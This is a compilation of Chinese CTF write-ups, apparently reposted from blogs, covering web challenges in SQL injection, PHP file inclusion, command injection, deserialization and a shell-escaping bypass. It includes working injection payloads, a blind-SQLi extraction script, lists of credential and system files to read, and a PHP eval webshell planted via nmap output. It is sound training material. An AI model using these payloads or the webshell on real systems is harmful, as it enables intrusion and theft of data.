[SUCTF 2019]EasySQL1

输入1,有回显
输入2,有回显,输入非零数字都有回显,输入字母无回显
这道题目需要我们去对后端语句进行猜测

1、输入非零数字得到的回显1和输入其余字符得不到回显=>来判断出内部的查询语句可能存在有||

2、也就是select 输入的数据||内置的一个列名 from 表名=>即为

select post进去的数据||flag from Flag(含有数据的表名,通过堆叠注入可知)

此时的||起到的作用是or的作用

解法1
内置的sql语句为

sql=“select”.post[‘query’]."||flag from Flag";

如果$post[‘query’]的数据为*,1,sql语句就变成了

select *,1||flag from Flag

也就是

select *,1 from Flag

也就是直接查询出了Flag表中的所有内容

解法2
输入的内容为

1;set sql_mode=pipes_as_concat;select 1


我们执行的语句分别为

select 1
set sql_mode=pipes_as_concat
select 1||flag from Flag

读出flag

————————————————
版权声明:本文为CSDN博主「一只小白来了」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/weixin_44866139/article/details/105857487

[ACTF2020 新生赛]Include1

include(文件包含漏洞,php伪协议)

查看元素,也并没有有用的信息,联想到题目,include
想起了文件包含漏洞。
构造payload
?file=/../../../../../../flag.php

没有返回东西。看完wq学到了一个新姿势:
php伪代码

https://segmentfault.com/a/1190000018991087
https://www.freebuf.com/column/148886.html

构造payload
?file=php://filter/read=convert.base64-encode/resource=flag.php
使用 "php://filter"伪协议" 来进行包含。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,阻止其不执行。从而导致任意文件读取。

构造Payload:

?file=php://filter/read=convert.base64-encode/resource=flag.php

这里需要注意的是使用php://filter伪协议进行文件包含时,需要加上read=convert.base64-encode来对文件内容进行编码

发送请求得到base64编码后的flag.php文件源码:
得到base64加密后的flag.php文件,丢去解密得到flag。

文件包含漏洞

文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。
`PHP中文件包含函数有以下四种:

require()

require_once()

include()

include_once()

`

示例代码

如果服务器配置不当,可以目录跨越等等,传个../../../../../etc/passwd等等,可以查阅很多意外的文件。
`windows常见文件:

c:\boot.ini // 查看系统版本

c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件

c:\windows\repair\sam // 存储Windows系统初次安装的密码

c:\ProgramFiles\mysql\my.ini // MySQL配置

c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码

c:\windows\php.ini // php 配置信息

linux常见文件:

/etc/passwd // 账户信息

/etc/shadow // 账户密码文件

/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置

/usr/local/app/php5/lib/php.ini // PHP相关配置

/etc/httpd/conf/httpd.conf // Apache配置文件

/etc/my.conf // mysql 配置文件

文件包含分本地文件包含和远程文件包含,本地文件包含就是利用服务器的配置不当访问服务器本地的文件,而远程文件包含是在

allow_url_fopen = On(是否允许打开远程文件)

allow_url_include = On(是否允许include/require远程文件)

`
以上两个字段为On时,此时允许服务器包含远程的服务器的文件,这时可以在远程服务器配置一个马.txt之类的,里面写上php代码,让靶机去包含它。

【file://协议】

PHP.ini:

file:// 协议在双off的情况下也可以正常使用;

allow_url_fopen :off/on

allow_url_include:off/on

file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响

使用方法:

file:// [文件的绝对路径和文件名]

http://127.0.0.1/cmd.php?file=file://D:/soft/phpStudy/WWW/phpcode.txt

【php://协议】

条件:

不需要开启allow_url_fopen,仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。

php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。

参考自:http://php.net/manual/zh/wrappers.php.php#refsect2-wrappers.php-unknown-unknown-unknown-descriptioq

php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。

PHP.ini:

php://filter在双off的情况下也可以正常使用;

allow_url_fopen :off/on

allow_url_include:off/on

测试现象:
http://127.0.0.1/cmd.php?file=php://filter/read=convert.base64-encode/resource=./cmd.php

测试现象:

http://127.0.0.1/cmd.php?file=php://input

[POST DATA] <?php phpinfo()?>

参考自:
https://www.cnblogs.com/cmredkulaa/p/14008645.html

[极客大挑战 2019]Secret File

BUFFctf蒋璐媛的秘密
打开在线场景,发现三个大字蒋璐媛

那么就继续看了,首先就应该看看他的源码了:

打开他的这个下面的php文件瞅瞅:

是个按钮我们就要一一分析了:

按了一下按钮发现:

那就要来看看源码了:

从这里看它是有个action.php,说明它跳的太快用burpsuite抓一下

看来问题就出在这个ser3t文件上。

那我们就输入一下:


因为刚刚刚好有一个题就是用的base64的隐写所以就用这个方法了哈哈哈

/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php


然后用base64解码即

参考自:https://blog.csdn.net/vsdvscs/article/details/116563866

[极客大挑战 2019]LoveSQL1

此题考察的就是简单的sql注入只不过要注意的是用group_concat()(这个是将组中的字符串连接成为具有各种选项的单个字符串函数)和concat_ws("?",?,?)(是CONCAT()的特殊形式。第一个参数是其它参数的分隔符。分隔符的位置放在要连接的两个字符串之间。分隔符可以是一个字符串,也可以是其它参数。)不然就显示不出来

首先一看是sql注入就判断是什么注入类型
输入

username:' or 1=1#
password:123

显示的是

然后试着用这个账号和密码进行登录发现没有什么用一直都是同一个页面然后就进行sql注入的各种语句查表,列和最后所需要的值(密码随意不能不写写个123也行)

username:
' or 1=1 order by 1,2,3,4# 多次试验后发现3回显正确

' and 1=2 union select 1,2,3# 测试回显的是哪几个

' and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#

' and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='l0ve1ysq1'#

' and 1=2 union select 1,group_concat(concat_ws(":::",id,username,password)),3 from l0ve1ysq1#

[ACTF2020 新生赛]Exec1

首先先ping一下127.0.0.1

然后看看有什么文件直接127.0.0.1 | ls ../../../../../

然后直接打开即可127.0.0.1 | cat ../../../../../flag

像这种什么都没过滤的题目,可以利用常见管道符直接执行命令:
常见管道符

1、|(就是按位或),直接执行|后面的语句

2、||(就是逻辑或),如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句

3、&(就是按位与),&前面和后面命令都要执行,无论前面真假

4、&&(就是逻辑与),如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
这里没试出来flag,用cmd试一下:

5、;(linux下有的,和&一样的作用)

命令执行漏洞可以看这位师傅的博客:
http://www.ghtwf01.cn/index.php/archives/273/

参考自:https://blog.csdn.net/weixin_44348894/article/details/105347418?utm_medium=distribute.pc_relevant_t0.none-task-blog-BlogCommendFromMachineLearnPai2-1.nonecase&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-BlogCommendFromMachineLearnPai2-1.nonecase

[GXYCTF2019]Ping Ping Ping

打开是这样子的。给了/?ip= 后边应该是我们所想要执行的语句。先随便ping一下

有回显,我们在在后边继续执行语句。先查看一下ls;

这里发现终端有一个flag.php和一个Index.php
cat flag.php一下试一试

发现空格被过滤了,去百度查询了一下绕过空格的几个办法
**空格过滤 **

${IFS}替换
$IFS$1替换
${IFS替换
%20替换
<和<>重定向符替换
%09替换

我们一个个来试一下

用第一个${IFS}时候发现符号被过滤了

使用第二个$IFS$1发现可以 说明{}被过滤了,但出现了

这样说明flag被过滤了 去看一下Index.php

发现源码出来了。可以看到flag.<>.{}都被过滤了。bash也被过滤。这时候我们可以想着试一下变量拼接.
?ip=1;a=g;cat$IFS1fla1flaa.php;

打开源码即可看到flag

[极客大挑战 2019]Knife

提示很明显说明此题使用蚁剑进行连接所需传入的东西已经万全准备就绪


[极客大挑战 2019]Http1

打开网页发现啥也没有然后就查看源码发现有一个Secret.php

然后用burpsuite抓包然后一直发送发送给repeater因为可以多次提交
然后打开发现

添加这个:Referer:https://www.Sycsecret.com
然后发送

然后修改User-Agent:Syclover
然后发送

然后添加X-Forwarded-For:127.0.0.1
然后

总体修改

[ZJCTF 2019]NiZhuanSiWei

1:data伪协议写入文件
2:php://

php://filter用于读取源码
php://input用于执行php代码

3反序列化

打开题目,给了我们源码

<?php  
$text = $_GET["text"];$file = $_GET["file"];$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit(); 
}else{
include($file);  //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}?>

第一个绕过:

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

这里需要我们传入一个文件且其内容为welcome to the zjctf,这样的话往后面看没有其他可以利用的点,我们就无法写入文件再读取,就剩下了一个data伪协议。data协议通常是用来执行PHP代码,然而我们也可以将内容写入data协议中然后让file_get_contents函数取读取。构造如下:

text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

当然也可以不需要base64,但是一般为了绕过某些过滤都会用到base64。data://text/plain,welcome to the zjctf

第二个绕过

$file = $_GET["file"];
if(preg_match("/flag/",$file)){
echo "Not now!";
exit(); 
}else{
include($file);  //useless.php
$password = unserialize($password);
echo $password;
}

这里有file参数可控,但是无法直接读取flag,可以直接读取/etc/passwd,但针对php文件我们需要进行base64编码,否则读取不到其内容,所以以下无法使用:

file=useless.php

所以下面采用filter来读源码,但上面提到过针对php文件需要base64编码,所以使用其自带的base64过滤器。

php://filter/read=convert.base64-encode/resource=useless.php

读到的useless.php内容如下:

<?php  
class Flag{  //flag.php  
public $file;  
public function __tostring(){  
if(isset($this->file)){  
echo file_get_contents($this->file); 
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}  
}  
}  
?>

第三个绕过

$password = $_GET["password"];
include($file);  //useless.php
$password = unserialize($password);
echo $password;

这里的file是我们可控的,所以在本地测试后有执行下面代码即可出现payload:

<?php  
class Flag{  //flag.php  
public $file="flag.php";  
public function __tostring(){  
if(isset($this->file)){  
echo file_get_contents($this->file); 
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}  
}  
}  
$a = new Flag();
echo serialize($a);
?>
//O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

最后payload

http://6619a3b1-daa6-4ab9-bb3d-ba8b90593516.node3.buuoj.cn/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:%22Flag%22:1:%7Bs:4:%22file%22;s:8:%22flag.php%22;%7D

参考链接https://www.redmango.top/articles/article/40/

simple sql 简单的sql过滤绕过
寻找注入点

只有一个输入框,抓包看是post提交。

依次输入

' => bool(false)
and 1=1 => SQL Injection Checked.
2 => 显示正常
3 => Error Occured When Fetch Result.
看起来有过滤,先fuzz下过滤了哪些关键词,利用intrude模块:
(下载了一份fuzz dict: dictionary-master)
使用 sql_fuzz.txt 字典 



但是 ascii/regexp/substr等函数都没过滤。xor被过滤,但是 ^/|/= 没有过滤,所以可以构造一个true表达式:
0^(2>1) => Hello this is Aurora
0^(2>1) => Error Occured When Fetch Result.

因此,注入点就是:
0^(TRUE表达式) => 返回 Hello this is Auro
0^(False表达式) => 返回 Error Occured When Fetch Result.
构造注入语句

这里以ascii为例,参考:https://www.anquanke.com/post/id/160584#h2-11

ascii(mid((password)from(i)))>j

这个语句中,涉及到mysql的 mid 和 ascii 函数

mid函数的使用方法:
正常的用法如下,对于str字符串,从pos作为索引值位置开始,返回截取len长度的子字符串
MID(str,pos,len)
这里的用法是,from(1)表示从第一个位置开始截取剩下的字符串,from(0)是没有值的。for(1)表示从改位置起一次就截取一个字符,本题for被过滤了。

对应的构造select语句:

select flag from flag //要返回str,要求flag表只有一行
mid((select flag from flag )from(1))  // 获取第一个
ascii(mid((select flag from flag )from(1)))=102 // ascii('flag') 默认只返回f的ascii值,f对应102
ascii(mid((select%0aflag%0afrom%0aflag)from(1)))=102 // 绕过空格过滤  


正常显示 id=1 的内容,说明答案的第一个字符是f。
编写 exp 程序

知道了注入点,剩下的就是自动化。

先在python里面验证下,发现同样的payload,在burp可以,代码却不行。唯一的原因就在 %0a 这个编码的地方了。
参考这篇文章:https://blog.csdn.net/M1mory/article/details/58309378

加上代理,自己在burp可以看到requests发包的情况,还要加上 content-type 头部,否则无返回信息

基于此,写出exp代码:

import requests

dict = "fabcdeghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_1234567890{}"

url = "http://polarlicht.xyz:8302/index.php"
headers = {"Content-Type" : "application/x-www-form-urlencoded"}
proxy = {"http" : 'http://127.0.0.1:8080'}

ret = []
for i in range(1,20):
for c in dict:
payload = "id=0^(ascii(mid((select%0aflag%0afrom%0aflag)from({0})))={1})".format(str(i), str(ord(c)))
r = requests.post(url, data=payload, headers=headers, proxies = proxy)
if len(r.text) == 299:
ret.append(c)
print("[%d]%s=>%s\t%s" % (i, c, len(r.text), payload))

print(''.join(ret))


这段代码速度太慢,用二分法进行代码优化:

import requests

url = "http://polarlicht.xyz:8302/index.php"
headers = {"Content-Type" : "application/x-www-form-urlencoded"}
proxy = {"http" : 'http://127.0.0.1:8080'}

def check(i, index):
payload = "id=0^(ascii(mid((select%0aflag%0afrom%0aflag)from({0})))={1})".format(i, index)
r = requests.post(url, data=payload, proxies=proxy, headers = headers)
if r.text.find('Hello') >= 0:
return 0

payload = "id=0^(ascii(mid((select%0aflag%0afrom%0aflag)from({0})))>{1})".format(i, index)
r = requests.post(url, data=payload, proxies=proxy, headers=headers)
if r.text.find('Hello') >= 0:
return 1

return -1

二分实现

mids = []
for i in range(1, 20):
# ascii 可显示字符是33到126
start = 33
end = 126
mid = (start + end) // 2


while start <= mid:
if check(i, mid) == 0:
mids.append(mid)
break

if check(i, mid) > 0:
start = mid
mid = (start + end) // 2
else:
end = mid
mid = (start + end) // 2
tmp = "start=>{0},mid={1},end={2}".format(start,mid,end)
print(''.join(chr(x) for x in mids))

[网鼎杯 2020 青龙组]AreUSerialz

1.题目源码

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}

这是一个PHP反序列化的题目,首先看到需要传入一个’str’,而且通过is_valid()规定了传入的每一个字符的ASCII码的范围必须在32到125之间,然后对这个’str’进行反序列化操作。

在反序列化中,先调用__destruct()析构方法:

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

从__destruct()代码中可以看到,如果op === “2”,那么op会被赋值为"1",然后content会赋值为空,并执行process函数,这里 if 中的判断语句用的是强类型比较。
然后看看process函数:

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

代码内容为:如果op == “1”,执行write()函数;如果op ==“2”,执行read函数,同时将结果赋值给$res,然后输出;否则将输出"Bad Hacker!"。

这里 if 语句中的判断语句用的是弱类型的比较,那么只要op=2,这个是int整数型的2,那么op === “2” 则为False, op == "2"则为True,就可以进入read函数。

再看看read函数:

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

在read函数中,使用filename调用file_get_contents函数将文件内容赋值给$res输出。

这里的filename是我们可控的,那么可以用前不久学的php://filter伪协议读取文件。然后使用output函数输出。

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

那么现在整个反序列过程就清楚了:
1.将op = 2
2.filename = "php://filter/read=convert.base64-encode/resource=flag.php"

<?php
class FileHandler {

protected $op=2;
protected $filename="php://filter/read=convert.base64-encode/resource=flag.php";
protected $content;

}

$a = new FileHandler();
echo serialize($a);
?>


原因是在于 $op $filename $content三个变量权限都是protected,而protected权限的变量在序列化时会有%00*%00字符,%00字符的ASCII码为0,不在is_valid函数规定的32到125的范围内。
可以使用一种简单的办法绕过:因为php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public就可以了。

那么现在就可以使用这个payload来读取flag:

?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:57:%22php://filter/read=convert.base64-encode/resource=flag.php%22;s:7:%22content%22;N;

然后进行解码即可

总结:
1.区分强类型比较和弱类型比较进行绕过
2.加深对php序列化和反序列化过程的理解

php序列化与反序列化方法:

__construct 当一个对象创建时被调用
__destruct 当一个对象销毁时被调用
__toString 当一个对象被当作一个字符串使用
__sleep 在对象被序列化之前运行
__wakeup 在对象被反序列化之后被调用

参考:
https://www.freebuf.com/articles/web/209975.html
https://www.cnblogs.com/tr1ple/p/11156279.html

————————————————
版权声明:本文为CSDN博主「嗯??嗯。」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/qq_40860153/article/details/109018483

[GXYCTF2019]BabySQli#

这题的知识点是绕过密码的md5验证,参考Y1ng师傅的文章
看到题目,fuzz了一下,过滤的并不多(415是没过滤的,419是过滤的)

而且页面源码有给sql语句,不过需要先base32再base64解码

select * from user where username = '$name'

直接可以用联合注入,表里有三列

1' Order by 3#

进行用联合注入,回显wrong user!,说明用户不在第一列

1' union select 1,2,3#

尝试将用户名放在第二列,回显wrong pass!,找到用户名在第二列

1' union select 1,'admin',3#

接下里就是要绕过密码的md5验证,需要把我们输入的值和数据库里面存放的用户密码的md5值进行比较,那要怎么绕过呢?可以用联合查询语句用来生成虚拟的表数据

首先可以看到该表只有一个用户

然后我们可以用联合查询的方式将查询的数据插入到表中

通过这样的方式,我们就可以用构造payload

用户名输入(‘e10adc3949ba59abbe56e057f20f883e’是 123456的md5值)

1' union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'#

密码输入

123456

POST请求 ,获得flag

Online Tool

remote_addr和x_forwarded_for这两个是见的比较多的,服务器获取ip用的,这里没什么用

escapeshellarg()和escapeshellcmd() 没见过,百度

PHP escapeshellarg()+escapeshellcmd() 之殇

直接找到了上面这篇文章,这两个函数在一起用会有些问题

    传入的参数是:172.17.0.2' -v -d a=1
    经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
    经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php
    最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'。

简单的来说就是两次转译后出现了问题,没有考虑到单引号的问题

然后往下看,看到echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);

这有个system来执行命令,而且有传参,肯定是利用这里了

这里代码的本意是希望我们输入ip这样的参数做一个扫描,通过上面的两个函数来进行规则过滤转译,我们的输入会被单引号引起来,但是因为我们看到了上面的漏洞所以我们可以逃脱这个引号的束缚

这里常见的命令后注入操作如 | & &&都不行,虽然我们通过上面的操作逃过了单引号,但escapeshellcmd会对这些特殊符号前面加上\来转移…

这时候就只有想想能不能利用nmap来做些什么了。

这时候搜索可以发现在nmap命令中 有一个参数-oG可以实现将命令和结果写到文件

这个命令就是我们的输入可控!然后写入到文件!OK很自然的想到了上传一个一句话木马了…

?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '

执行后会返回文件夹名

然后蚁剑连接,找到flag

————————————————
版权声明:本文为CSDN博主「恋物语战场原」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/qq_26406447/article/details/100711933